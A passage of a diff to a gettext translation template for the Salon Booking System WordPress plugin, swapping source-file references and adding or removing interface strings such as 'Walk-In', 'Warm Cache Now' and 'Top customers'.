..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:260\n+msgid \"View Service\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:495, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:495, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:495, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:482, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:495, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:495\n-msgid \"Last Quarter\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:188\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:188\n+msgid \"View services\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:95\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:120\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:95\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:120\n+msgid \"View Support Details\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_preview.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_preview.php:15\n+msgid \"\"\n+\"Visual overview of your booking availability based on current rules and \"\n+\"session duration.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:497, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:497, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:497, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:484, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:497, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:497\n-msgid \"Last Year\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_day_assistant_common.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_day.php:60\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_day_assistant_common.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_day.php:60\n+msgid \"Walk-In\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:226\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:226\n+msgid \"\"\n+\"Want to continue with the free version? You can always upgrade later from \"\n+\"the Settings panel.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:498, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:498, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:498, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:485, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:498, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:498\n-msgid \"Custom\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:94\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:94\n+msgid \"Warm Cache Now\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_date.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_date.php:70\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_services.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_services.php:71\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_date.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_date.php:70\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_services.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_services.php:71\n+msgid \"Warning:\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:558, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:558, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:558, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:545, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:558, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:558\n-msgid \"Filter\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:165\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCheckDate.php:165\n+msgid \"We are unavailable at:\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:620, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:620, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:620, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:607, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:620, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:620\n-msgid \"Reservations and revenues\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_sms.php:24\n+msgid \"We have sent an SMS text on your mobile phone.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:621, src\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:19, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:621, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:19, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:621, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:608, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:621, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:621, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:19\n-msgid \"Reservations and revenues by services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:149\n+msgid \"We hope to see you again at\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:622, src\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:19, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:622, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:19, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:622, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:609, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:622, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:622, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:19\n-msgid \"Reservations and revenues by assistants\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_payment_confirmed_content.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_payment_confirmed_content.php:14\n+msgid \"We received the payment for your booking.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:623, src\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:20, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:623, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:20, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:623, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:610, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:623, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:623, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:20\n-msgid \"Top customers\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:84\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:84\n+msgid \"\"\n+\"We suggest you to set this option accordingly with the duration of your \"\n+\"shortest service.\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the currency string\n-#: src\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:26, src\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:26, src\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:30, src\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:27, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:26, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:26, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:30, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:27, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:26, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:26, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:30, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByAssistantsReport.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:27\n-msgid \"Earnings (%s)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:293\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:293\n+msgid \"We would love to hear your feedback!\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:17, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:17, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:17\n-msgid \"Earnings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:399\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:399\n+msgid \"\"\n+\"We'll send a message two days before the \u003Cstrong>next estimated \"\n+\"booking\u003C\u002Fstrong>\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:87, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:87, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:87\n-msgid \"Reservations in the selected time range\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:32\n+msgid \"Wednesday\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:73, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:73, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:73, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:73\n-msgid \"No customers bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:382\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:190\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:382\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:190\n+msgid \"week\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FAbstractTab.php:28\n-msgid \"try again\"\n+#: 